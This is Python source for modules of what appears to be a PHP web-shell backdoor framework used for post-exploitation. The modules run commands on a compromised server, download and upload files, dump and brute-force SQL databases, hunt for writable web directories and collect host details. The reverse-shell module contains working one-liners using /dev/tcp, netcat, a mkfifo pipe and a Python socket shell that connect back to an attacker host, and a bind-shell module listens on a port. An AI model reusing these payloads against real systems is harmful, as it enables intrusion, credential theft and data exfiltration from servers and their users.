class Sh(Module): '''Shell to execute system commands Every run should be run_module to avoid recursive interpreter probing ''' visible = False vectors = VectorList([ Vector('shell.php', "system", "system('%s 2>&1');"), Vector('shell.php', "passthru", "passthru('%s 2>&1');"), Vector('shell.php', "shell_exec", "echo shell_exec('%s 2>&1');"), Vector('shell.php', "exec", "exec('%s 2>&1', $r); echo(join(\"\\n\",$r));"), Vector('shell.php', "pcntl_exec", "$args = array('%s'); pcntl_exec( '%s', $args );"), Vector( 'shell.php', "popen", "$h = popen('%s','r'); while(!feof($h)) echo(fread($h,4096)); pclose($h);" ), Vector('shell.php', "python_eval", "python_eval('import os; os.system('%s 2>&1');"), Vector('shell.php', "perl->system", "$perl = new perl(); $r = @perl->system('%s 2>&1'); echo $r;"), Vector( 'shell.php', "proc_open", """$p = array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')); $h = proc_open('%s', $p, $pipes); while(!feof($pipes[1])) echo(fread($pipes[1],4096)); while(!feof($pipes[2])) echo(fread($pipes[2],4096)); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($h);"""), ]) params = ParametersList( 'System shell', vectors, P(arg='cmd', help='Shell command', required=True, pos=0), P(arg='stderr', help='Print standard error', default=True, type=bool)) def __init__(self, modhandler, url, password): self.payload = None self.cwd_vector = None try: modhandler.load('shell.php') except ModuleException, e: raise else:
class Download(Module): '''Download binary/ascii files from target filesystem :file.download <remote path> <locale path> ''' vectors = VectorList([ V('shell.php', 'file', "print(@base64_encode(implode('', file('%s'))));"), V( 'shell.php', 'fread', "$f='%s'; print(@base64_encode(fread(fopen($f,'rb'),filesize($f))));" ), V('shell.php', "file_get_contents", "print(@base64_encode(file_get_contents('%s')));"), V('shell.sh', "base64", "base64 -w 0 %s"), V('shell.php', "copy", "copy('compress.zlib://%s','%s') && print(1);"), V('shell.php', "symlink", "symlink('%s','%s') && print(1);") ]) params = ParametersList( 'Download binary/ascii files from target', vectors, P(arg='rpath', help='Remote file path', required=True, pos=0), P(arg='lpath', help='Local file path', required=True, pos=1)) def __init__(self, modhandler, url, password): self.encoder_callable = False self.md5_callable = False self.payload = None self.vector = None self.interpreter = None self.transfer_dir = None self.transfer_url_dir = None self.lastreadfile = '' Module.__init__(self, modhandler, url, password) def _probe(self): if self.modhandler.load('shell.php').run( {0: "is_callable('base64_encode') && print('1');"}) == '1': self.encoder_callable = True else: self.mprint( '[%s] PHP \'base64_encode\' transfer methods not available.' % self.name) def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds") def __execute_payload(self, vector, parameters): remote_path = parameters[0] if (vector.name == 'copy' or vector.name == 'symlink'): if not (self.transfer_dir and self.transfer_url_dir and self.file_path): self.modhandler.set_verbosity(6) if not self.modhandler.load('find.webdir').run( {'rpath': 'find'}): self.modhandler.set_verbosity() return self.modhandler.set_verbosity() self.transfer_url_dir = self.modhandler.load( 'find.webdir').found_url self.transfer_dir = self.modhandler.load( 'find.webdir').found_dir if not self.transfer_url_dir or not self.transfer_dir: return filename = '/' + str(randint( 11, 999)) + remote_path.split('/').pop() self.file_path = self.transfer_dir + filename self.url = self.transfer_url_dir + filename payload = self.__prepare_payload(vector, [remote_path, self.file_path]) else: payload = self.__prepare_payload(vector, [remote_path]) response = self.modhandler.load(vector.interpreter).run({0: payload}) if response: self.payload = payload self.interpreter = vector.interpreter self.vector = vector return response def __process_response(self, response, remote_path, local_path): if self.vector.name == 'copy' or self.vector.name == 'symlink': if not self.file_path.endswith( '.html') and not self.file_path.endswith('.htm'): self.mprint( "[%s] Warning: vector '%s' works better with files with downloadable extension like '.html'" % (self.name, self.vector.name)) if self.modhandler.load('file.check').run({ 'rpath': self.file_path, 'mode': 'exists' }): response = Request(self.url).read() else: response = None # Force deleting. Does not check existance, because broken links returns False self.modhandler.load('file.rm').run({ 'rpath': self.file_path, 'recursive': False }) else: if self.encoder_callable: try: response = b64decode(response) except TypeError: self.mprint("[!] [%s] Error, unexpected file content" % (self.name)) if response: try: f = open(local_path, 'wb') f.write(response) f.close() except Exception, e: self.mprint( '[!] [%s] Some error occurred writing local file \'%s\'.' % (self.name, local_path)) raise ModuleException(self.name, e) response_md5 = md5(response).hexdigest() remote_md5 = self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'md5' }) if not remote_md5: self.mprint( '[!] [%s] MD5 hash method is not callable with \'%s\', check disabled' % (self.name, remote_path)) return response elif not remote_md5 == response_md5: self.mprint( '[%s] MD5 hash of \'%s\' file mismatch, file corrupted' % (self.name, local_path)) else: self.mprint('[%s] File correctly downloaded to \'%s\'.' % (self.name, local_path)) return response
class Dump(Module): '''Get SQL database dump :sql.dump mysql <host> <user> <pass> <db name> <table name>|any ''' vectors = VectorList([ Vector( 'shell.php', 'mysqlphpdump', """ function dmp ($table) { $result .= "\n-- -------- TABLE '$table' ----------\n"; $query = mysql_query("SELECT * FROM ".$table); $numrow = mysql_num_rows($query); $numfields = mysql_num_fields($query); print $numrow . " " . $numfields; if ($numrow > 0) { $result .= "INSERT INTO `".$table."` ("; $i = 0; for($k=0; $k<$numfields; $k++ ) { $result .= "`".mysql_field_name($query, $k)."`"; if ($k < ($numfields-1)) $result .= ", "; } $result .= ") VALUES "; while ($row = mysql_fetch_row($query)) { $result .= " ("; for($j=0; $j<$numfields; $j++) { if (mysql_field_type($query, $j) == "string" || mysql_field_type($query, $j) == "timestamp" || mysql_field_type($query, $j) == "time" || mysql_field_type($query, $j) == "datetime" || mysql_field_type($query, $j) == "blob") { $row[$j] = addslashes($row[$j]); $row[$j] = ereg_replace("\n","\\n",$row[$j]); $row[$j] = ereg_replace("\r","",$row[$j]); $result .= "'$row[$j]'"; } else if (is_null($row[$j])) $result .= "NULL"; else $result .= $row[$j]; if ( $j<($numfields-1)) $result .= ", "; } $result .= ")"; $i++; if ($i < $numrow) $result .= ","; else $result .= ";"; $result .= "\n"; } } else $result .= "-- table is empty"; return $result . "\n\n"; } ini_set('mysql.connect_timeout',1); $res=mysql_connect("%s", "%s", "%s"); $db_name = "%s"; $db_table_name = "%s"; mysql_select_db($db_name); $tableQ = mysql_list_tables ($db_name); $i = 0; $num_rows = mysql_num_rows ($tableQ); if($num_rows) { if(!$res) {print("-- DEFAULT\n"); } while ($i < $num_rows) { $tb_names[$i] = mysql_tablename ($tableQ, $i); if(($db_table_name == $tb_names[$i]) || $db_table_name == "") { print(dmp($tb_names[$i])); } $i++; } } mysql_close(); """), Vector( 'shell.sh', 'mysqldump', "mysqldump -h %s -u %s --password=%s %s %s --single-transaction"), # --single-transaction to avoid bug http://bugs.mysql.com/bug.php?id=21527 ]) params = ParametersList( 'Get SQL mysqldump-like database dump', vectors, P(arg='dbms', help='DBMS', choices=['mysql'], required=True, pos=0), P(arg='user', help='SQL user to bruteforce', required=True, pos=1), P(arg='pwd', help='SQL password', required=True, pos=2), P(arg='db', help='Database name', required=True, pos=3), P(arg='table', help='Table name to dump (any to dump entire database)', default='any', pos=4), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=5), P(arg='lfile', help='Local path (keep \'auto\' for automatic naming)', default='auto', pos=6)) def __init__(self, modhandler, url, password): self.structure = {} Module.__init__(self, modhandler, url, password) def run_module(self, mode, user, pwd, db, table, host, lpath): if mode != 'mysql': raise ModuleException(self.name, "Only 'mysql' database is supported so far") uri = '%s:%s@%s-%s' % (user, pwd, host, db) vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells + ['sql.query']) for vector in vectors: response = self.__execute_payload( vector, [mode, host, user, pwd, db, table]) if response != None: if response.startswith('-- DEFAULT'): # mysqlphpdump default fallback self.mprint( "[%s] Error connecting to '%s', using default (query 'SELECT USER();' to print out)" % (self.name, uri)) uri = 'default' elif 'mysqldump: Got error:' in response: # mysqldump output but error self.mprint( "[%s] Error connecting to '%s', check credentials and db name" % (self.name, uri)) try: if lpath == 'auto': lpath = '%s.txt' % uri self.mprint("[%s] Saving '%s' dump in '%s'" % (self.name, uri, lpath)) lfile = open(lpath, 'w') except: raise ModuleException( self.name, "Error opening dump file \'%s\'" % lpath) self.params.set_and_check_parameters({'vector': vector.name}) lfile.write(response) lfile.close() return self.mprint( '[%s] Error dumping \'%s\', check credentials, host and database name' % (self.name, uri)) def __execute_payload(self, vector, parameters): mode = parameters[0] host = parameters[1] user = parameters[2] pwd = parameters[3] db = parameters[4] table = parameters[5] if table == 'any': table = '' self.modhandler.set_verbosity(2) self.structure[db] = {} payload = self.__prepare_payload(vector, [host, user, pwd, db, table]) response = self.modhandler.load(vector.interpreter).run({0: payload}) self.modhandler.set_verbosity() if response: return response def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds")
class Sql(Module): '''Bruteforce sql user :bruteforce.sql mysql|postgres <host> <user> <local_file_list.txt> <start_line>|all ''' vectors = VectorList([ Vector( 'shell.php', 'brute_sql_php', """$m="%s"; $h="%s"; $u="%s"; $w=$_POST["%s"]; foreach(split('[\n]+',$w) as $pwd) { if(@$m($h, $u, $pwd)){ print("+" . $u . ":" . $pwd . "\n"); break; } } """) ]) params = ParametersList( 'Bruteforce single SQL user using a local wordlist', vectors, P(arg='dbms', help='DBMS', choices=['mysql', 'postgres'], required=True, pos=0), P(arg='user', help='SQL user to bruteforce', required=True, pos=1), P(arg='lpath', help='Path of local wordlist', required=True, pos=2), P(arg='sline', help='Start line of local wordlist', default='all', pos=3), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=4)) def __init__(self, modhandler, url, password): self.chunksize = 5000 self.substitutive_wl = [] Module.__init__(self, modhandler, url, password) def set_substitutive_wl(self, substitutive_wl=[]): """Cleaned after use""" self.substitutive_wl = substitutive_wl def run_module(self, mode, user, filename, start_line, host): if mode == 'mysql': sql_connect = "mysql_connect" elif mode == 'postgres': sql_connect = "pg_connect" else: raise ModuleException(self.name, "Database '%s' unsupported" % (mode)) if start_line == 'all': start_line = 0 if 'localhost' not in host and '127.0.0.1' not in host: self.chunksize = 20 if self.substitutive_wl: wl_splitted = self.substitutive_wl[:] self.substitutive_wl = [] else: try: wordlist = open(filename, 'r') except Exception, e: raise ModuleException( self.name, "Error opening %s: %s" % (filename, str(e))) wl_splitted = [w.strip() for w in wordlist.read().split()] rand_post_name = ''.join( [choice('abcdefghijklmnopqrstuvwxyz') for i in xrange(4)]) vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [ sql_connect, host, user, rand_post_name, start_line, wl_splitted ]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response
class Reversetcp(Module): """Send reverse TCP shell""" vectors = VectorList([ Vector('shell.sh', 'devtcp', "/bin/bash -c \'/bin/bash 0</dev/tcp/%s/%s 1>&0 2>&0\'"), Vector('shell.sh', 'netcat-traditional', """nc -e /bin/sh %s %s"""), Vector( 'shell.sh', 'netcat-bsd', """rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f""" ), #TODO: Seems broken #Vector('shell.sh', 'perl', """perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"""), Vector( 'shell.sh', 'python', """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" ), ]) params = ParametersList( 'Send reverse TCP shell ', vectors, P(arg='host', help='Local file path', required=True, pos=0), P(arg='port', help='Remote path', required=True, type=int, pos=1)) def __init__(self, modhandler, url, password): self.last_vector = None self.done = False Module.__init__(self, modhandler, url, password) def run_module(self, host, port): t = Timer(5.0, self.__check_module_state) t.start() vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: self.last_vector = vector.name self.__execute_payload(vector, [host, port]) if t.isAlive(): t.cancel() if not self.done: self.last_vector = None self.mprint( "[%s] No reverse backdoor method worked. Assure remote port is" % (self.name)) self.mprint( "[%s] listening using commands like \'nc -v -l -p <port>\'" % (self.name)) def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) return self.modhandler.load(vector.interpreter).run({ 'cmd': payload, 'stderr': 'False' }) def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds") def __check_module_state(self): if self.last_vector and not self.done: self.params.set_and_check_parameters({'vector': self.last_vector}) self.mprint( '[%s] Reverse backdoor seems connected. If needed end commands with semicolon' % (self.name, self.last_vector)) self.done = True
class Webdir(Module): '''Find first writable directory and corresponding URL :find.webdir auto | <start dir> ''' vectors = VectorList([ V('shell.php', 'fwrite', "fwrite(fopen('%s','w'),'1');"), V('shell.php', "file_put_contents", "file_put_contents('%s', '1');"), V('shell.sh', "echo", "echo '1' > %s"), ]) params = ParametersList( 'Find a writable directory and corresponding URL', vectors, P(arg='rpath', help='Remote starting path', default='auto', pos=0)) def __init__(self, modhandler, url, password): self.dir = None self.url = None self.probe_filename = ''.join(choice(letters) for i in xrange(4)) + '.html' Module.__init__(self, modhandler, url, password) def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds") def __execute_payload(self, vector, parameters): dir_path = parameters[0] file_path = parameters[1] file_url = parameters[2] dir_url = parameters[3] payload = self.__prepare_payload(vector, [file_path]) self.modhandler.load(vector.interpreter).run({0: payload}) if self.modhandler.load('file.check').run({ 'rpath': file_path, 'mode': 'exists' }): file_content = Request(file_url).read() if (file_content == '1'): self.dir = dir_path self.url = dir_url if self.modhandler.load('shell.php').run( {0: "unlink('%s') && print('1');" % file_path}) != '1': print "[!] [find.webdir] Error cleaning test file %s" % ( file_path) if self.dir and self.url: print "[find.webdir] Writable web dir found with method '%s': %s -> %s" % ( vector.name, self.dir, self.url) return True return False def run_module(self, start_dir): if self.url and self.dir: self.mprint("[%s] Writable web dir: %s -> %s" % (self.name, self.dir, self.url)) return if start_dir == 'auto': try: root_find_dir = self.modhandler.load('system.info').run( {0: 'basedir'}) except ModuleException, e: self.mprint('[!] [' + e.module + '] ' + e.error) root_find_dir = None else:
class Perms(Module): '''Find files with write, read, execute permissions :find.perms first|all file|dir|all w|r|x|all <path> ''' vectors = VectorList([ V( 'shell.php', 'php_recursive', """@swp('%s','%s','%s','%s'); function ckmod($df, $m) { return ($m=="any")||($m=="w"&&is_writable($df))||($m=="r"&&is_readable($df))||($m=="x"&&is_executable($df)); } function cktp($df, $f, $t) { return ($f!='.')&&($f!='..')&&($t=='any'||($t=='f'&&@is_file($df))||($t=='d'&&@is_dir($df))); } function swp($d, $type, $mod, $qty){ $h = @opendir($d); while ($f = @readdir($h)) { $df=$d.'/'.$f; if(@cktp($df,$f,$type)&&@ckmod($df,$mod)) { print($df."\\n"); if($qty=="first") return; } if(@cktp($df,$f,'d')){ @swp($df, $type, $mod, $qty); } } @closedir($h); }"""), V('shell.sh', "find", "find %s %s %s %s 2>/dev/null") ]) params = ParametersList( 'Find files by permissions', vectors, P(arg='qty', help='How many files display', choices=['first', 'any'], default='any', pos=0), P(arg='type', help='Type', choices=['f', 'd', 'any'], default='any', pos=1), P(arg='perm', help='Permission', choices=['w', 'r', 'x', 'any'], default='r', pos=2), P(arg='rpath', help='Remote starting path', default='.', pos=3)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def __prepare_payload(self, vector, parameters): path = parameters[0] qty = parameters[1] type = parameters[2] mod = parameters[3] if vector.interpreter == 'shell.sh': if qty == 'first': qty = '-print -quit' elif qty == 'any': qty = '' if type == 'any': type = '' elif type == 'f': type = '-type f' elif type == 'd': type = '-type d' if mod == 'any': mod = '' elif mod == 'w': mod = '-writable' elif mod == 'r': mod = '-readable' elif mod == 'x': mod = '-executable' return vector.payloads[0] % (path, type, mod, qty) def run_module(self, qty, type, mod, path): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [path, qty, type, mod]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response raise ModuleException(self.name, "Files not found") def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) try: response = self.modhandler.load(vector.interpreter).run( {0: payload}) except ModuleException: response = None else: return response
class Check(Module): '''Check remote files type, md5 and permission''' vectors = VectorList([ V( 'shell.php', 'exists', "$f='%s'; (file_exists($f) || is_readable($f) || is_writable($f) || is_file($f) || is_dir($f)) && print(1);", ), V('shell.php', "dir", "is_dir('%s') && print(1);"), V('shell.php', "md5", "print(md5_file('%s'));"), V('shell.php', "r", "is_readable('%s') && print(1);"), V('shell.php', "w", "is_writable('%s') && print(1);"), V('shell.php', "x", "is_executable('%s') && print(1);"), V('shell.php', "file", "is_file('%s') && print(1);") ]) params = ParametersList( 'Check remote files type, md5 and permission', [], P(arg='rpath', help='Choose remote file path', required=True, pos=0), P(arg='mode', help='Choose mode', required=True, choices=vectors.get_names_list(), pos=1)) def run_module(self, remote_path, mode): # Skip default vector load, here vector=mode vector = self.vectors.get_vector_by_name(mode) response = self.__execute_payload(vector, [remote_path, mode]) if response != None: return response def __execute_payload(self, vector, parameters): remote_path = parameters[0] mode = parameters[1] payload = self.__prepare_payload(vector, [remote_path]) try: response = self.modhandler.load(vector.interpreter).run( {0: payload}) except ModuleException: response = None else: if response == '1': return True elif (mode == 'md5' and response): return response else: if mode != 'exists': if not self.run({'rpath': remote_path, 'mode': 'exists'}): self.mprint('File does not exists', 4) return False raise ModuleException(self.name, "File check failed") def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds")
class Summary(Module): '''Get SQL database summary ''' vectors = VectorList([ Vector('sql.query', 'mysql', [ "SHOW DATABASES;", "SHOW TABLES FROM %s;", "SHOW COLUMNS FROM %s.%s;" ]) ]) params = ParametersList( 'Get SQL summary of database or single tables', vectors, P(arg='dbms', help='DBMS', choices=['mysql'], required=True, pos=0), P(arg='user', help='SQL user to bruteforce', required=True, pos=1), P(arg='pwd', help='SQL password', required=True, pos=2), P(arg='db', help='Database name', required=True, pos=3), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=4)) def __init__(self, modhandler, url, password): self.structure = {} Module.__init__(self, modhandler, url, password) def run_module(self, mode, user, pwd, db, host): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells + ['sql.query']) for vector in vectors: response = self.__execute_payload(vector, [mode, host, user, pwd, db]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response def __execute_payload(self, vector, parameters): mode = parameters[0] host = parameters[1] user = parameters[2] pwd = parameters[3] db = parameters[4] self.structure[db] = {} # databases payload = self.__prepare_payload(vector, [], 0) response = self.modhandler.load(vector.interpreter).run({ 'dbms': mode, 'user': user, 'pwd': pwd, 'query': payload, 'host': host }) print 'DATABASE LIST: \n\'%s\'' % response self.modhandler.set_verbosity(4) # tables payload = self.__prepare_payload(vector, [db], 1) response = self.modhandler.load(vector.interpreter).run({ 'dbms': mode, 'user': user, 'pwd': pwd, 'query': payload, 'host': host }) if response: for table in response.split('\n'): self.structure[db][table] = {} # columns cpayload = self.__prepare_payload(vector, [db, table], 2) #cresponse = self.modhandler.load(vector.interpreter).run_module(mode, user, pwd, payload, host) cresponse = self.modhandler.load(vector.interpreter).run({ 'dbms': mode, 'user': user, 'pwd': pwd, 'query': payload, 'host': host }) if cresponse: for column in response.split('\n'): self.structure[db][table][column] = [] self.modhandler.set_verbosity() if self.structure[db]: self.__print_db() else: self.mprint( '[%s] Error getting database structure, check credentials, query and dbms availability.' % (self.name)) def __prepare_payload(self, vector, parameters, parameter_num): if vector.payloads[parameter_num].count('%s') == len(parameters): return vector.payloads[parameter_num] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds") def __print_db(self): for db in self.structure: print 'DB \'%s\'' % db for table in self.structure[db]: print 'TABLE: ' + table print '|', for column in self.structure[db][table]: print column + ' |', print ''
class Tcp(Module): """Spawn shell on TCP port""" vectors = VectorList([ Vector('shell.sh', 'netcat-traditional', """nc -l -p %s -e /bin/sh"""), Vector( 'shell.sh', 'netcat-bsd', """rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -l %s >/tmp/f""" ) ]) params = ParametersList( 'Spawn shell on TCP port', vectors, P(arg='port', help='Remote path', required=True, type=int, pos=0)) def __init__(self, modhandler, url, password): self.last_vector = None self.done = False Module.__init__(self, modhandler, url, password) def run_module(self, port): t = Timer(5.0, self.__check_module_state) t.start() vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: self.last_vector = vector.name self.__execute_payload(vector, [port]) if t.isAlive(): t.cancel() if not self.done: self.last_vector = None self.mprint( "[%s] No vector works. Check port '%i' availability and privileges" % (self.name, port)) def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) return self.modhandler.load(vector.interpreter).run({ 'cmd': payload, 'stderr': 'False' }) def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds") def __check_module_state(self): if self.last_vector and not self.done: self.params.set_and_check_parameters({'vector': self.last_vector}) self.mprint( '[%s] Port open. Run telnet to connect and terminate commands using semicolon' % (self.name)) self.done = True
class Name(Module): '''Find files with matching name (e=equal, ei= equal case insensitive , c= contains, ci= contains case insensitive) :find.name e|ei|c|ci <string> <start path> ''' vectors = VectorList([ V( 'shell.php', 'php_recursive', """@swp('%s','%s','%s'); function ckdir($df, $f) { return ($f!='.')&&($f!='..')&&@is_dir($df); } function match($df, $f, $s, $m) { return (($m=='e')&&$f==$s)||(($m=='c')&&preg_match("/".$s."/",$f))||(($m=='ei')&&strcasecmp($s,$f)==0)||(($m=='ci')&&preg_match("/".$s."/i",$f)); } function swp($d, $m, $s){ $h = @opendir($d); while ($f = @readdir($h)) { $df=$d.'/'.$f; if(($f!='.')&&($f!='..')&&@match($df,$f,$s,$m)) print($df."\\n"); if(@ckdir($df,$f)) @swp($df, $m, $s); } @closedir($h); }"""), V('shell.sh', "find", "find %s %s %s 2>/dev/null") ]) params = ParametersList( 'Find files with matching name', vectors, P(arg='match', help= 'Match if Equal, Equal case insensitive, Contains, Contains case insensitive', choices=['e', 'ei', 'c', 'ci'], pos=0), P(arg='str', help='String to match', required=True, pos=1), P(arg='rpath', help='Remote starting path', default='.', required=True, pos=2)) visible = True def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def __prepare_payload(self, vector, params): mod = params[0] match = params[1] path = params[2] str_mod = mod str_match = match str_path = path if vector.interpreter == 'shell.sh': if mod == 'e' or mod == 'c': str_mod = '-name' elif mod == 'ei' or mod == 'ci': str_mod = '-iname' if mod == 'c' or mod == 'ci': str_match = '\'*' + str_match + '*\'' return vector.payloads[0] % (str_path, str_mod, str_match) def run_module(self, match, str, rpath): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [match, str, rpath]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response raise ModuleException(self.name, "Files not found") def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) try: response = self.modhandler.load(vector.interpreter).run( {0: payload}) except ModuleException: response = None else: return response
class Query(Module): '''Execute SQL query :sql.query mysql|postgres <host> <user> <pass> "<query>" ''' vectors = VectorList([ Vector('shell.php', 'php_fetch', """ $c="%s"; $q="%s"; $f="%s"; if(@$c("%s","%s","%s")){ $result = $q("%s"); while (list($table) = $f($result)) { echo $table."\n"; } }""") ]) params = ParametersList('Execute SQL query', vectors, P(arg='dbms', help='Database', choices=['mysql', 'postgres'], required=True, pos=0), P(arg='user', help='SQL user', required=True, pos=1), P(arg='pwd', help='SQL password', required=True, pos=2), P(arg='query', help='SQL query', required=True, pos=3), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=4) ) def run_module( self, mode, user, pwd, query, host): if mode == 'mysql': sql_connect = "mysql_connect" sql_query = "mysql_query" sql_fetch = "mysql_fetch_row" elif mode == 'postgres': sql_connect = "pg_connect" sql_query = "pg_query" sql_fetch = "pg_fetch_row" else: raise ModuleException(self.name, "Database '%s' unsupported" % (mode)) vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters(self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [sql_connect, sql_query, sql_fetch, host, user, pwd, query]) if response != None: self.params.set_and_check_parameters({'vector' : vector.name}) return response def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) response = self.modhandler.load(vector.interpreter).run({ 0: payload }) if response: return response return None def __prepare_payload( self, vector, parameters ): if vector.payloads[0].count( '%s' ) == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException(self.name, "Error payload parameter number does not corresponds")
class Upload(Module): '''Upload binary/ascii file to the target filesystem''' vectors = VectorList([ Vector( 'shell.php', 'file_put_contents', "file_put_contents('%s', base64_decode($_POST['%s']), FILE_APPEND);" ), Vector( 'shell.php', 'fwrite', '$h = fopen("%s", "a+"); fwrite($h, base64_decode($_POST["%s"])); fclose($h);' ) ]) params = ParametersList( 'Upload a file to the target filesystem', vectors, P(arg='lpath', help='Local file path', required=True, pos=0), P(arg='rpath', help='Remote path', required=True, pos=1), P(arg='chunksize', help='Chunk size', default=1024, type=int)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) self.file_content = None self.rand_post_name = ''.join( [choice('abcdefghijklmnopqrstuvwxyz') for i in xrange(4)]) def __execute_payload(self, vector, parameters): content_chunks = parameters[0] file_local_md5 = parameters[1] remote_path = parameters[2] i = 1 for chunk in content_chunks: payload = vector.payloads[0] % (remote_path, self.rand_post_name) self.modhandler.load(vector.interpreter).set_post_data( {self.rand_post_name: chunk}) self.modhandler.load(vector.interpreter).run({0: payload}) i += 1 self.modhandler.set_verbosity(6) file_remote_md5 = self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'md5' }) self.modhandler.set_verbosity() if file_remote_md5 == file_local_md5: return True else: file_exists = self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'exists' }) if file_exists: self.mprint('[!] [%s] MD5 hash of \'%s\' file mismatch' % (self.name, remote_path)) def set_file_content(self, content): """Cleaned after use""" self.file_content = content def __chunkify(self, file_content, chunksize): content_len = len(file_content) if content_len > chunksize: content_chunks = b64_chunks(file_content, chunksize) else: content_chunks = [b64encode(file_content)] numchunks = len(content_chunks) if numchunks > 20: self.mprint( '[%s] Warning: uploading %i bytes using %i requests. Increase \'chunksize\' to reduce time' % (self.name, content_len, numchunks)) return content_chunks def run_module(self, local_path, remote_path, chunksize): if self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'exists' }): raise ModuleException( self.name, "Remote file already exists, delete it with \':file.rm %s\'" % (remote_path)) if not self.file_content: try: local_file = open(local_path, 'r') except Exception, e: raise ModuleException(self.name, "Open file '%s' failed" % (local_path)) file_content = local_file.read() else:
class Info(Module): """Collect system informations :system.info auto | whoami | hostname | basedir | document_root | client_ip """ vectors = VectorList([ Vector('shell.sh', 'whoami', "whoami"), Vector('shell.sh', 'hostname', "hostname"), Vector('shell.sh', 'basedir', "pwd"), Vector('shell.sh', 'uname', "uname -a"), Vector('shell.sh', 'os', "uname"), Vector('shell.php', 'document_root', "@print($_SERVER['DOCUMENT_ROOT']);"), Vector('shell.php', 'whoami', "@print(get_current_user());"), Vector('shell.php', 'hostname', "@print(gethostname());"), Vector('shell.php', 'basedir', "@print(getcwd());"), Vector('shell.php', 'safe_mode', "(ini_get('safe_mode') && print(1)) || print(0);"), Vector('shell.php', 'script', "@print($_SERVER['SCRIPT_NAME']);"), Vector('shell.php', 'uname', "@print(php_uname());"), Vector('shell.php', 'os', "@print(PHP_OS);"), Vector('shell.php', 'client_ip', "@print($_SERVER['REMOTE_ADDR']);") ]) params = ParametersList( 'Collect system informations', [], P(arg='info', help='', choices=vectors.get_names_list(), default='auto', pos=0)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def run_module(self, info): infos = [] vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: if (vector.name not in infos) and (info == 'auto' or info == vector.name): response = self.__execute_payload(vector, [info]) if response: infos.append(vector.name) if info != 'auto': return response else: tabs = '\t' * (3 - ((len(vector.name) + 1) / 8)) self.mprint('%s:%s%s' % (vector.name, tabs, response)) if info != 'auto': raise ModuleException("system.info", "Information '%s' not supported." % (info)) def __execute_payload(self, vector, parameters): return self.modhandler.load(vector.interpreter).run( {0: vector.payloads[0]})
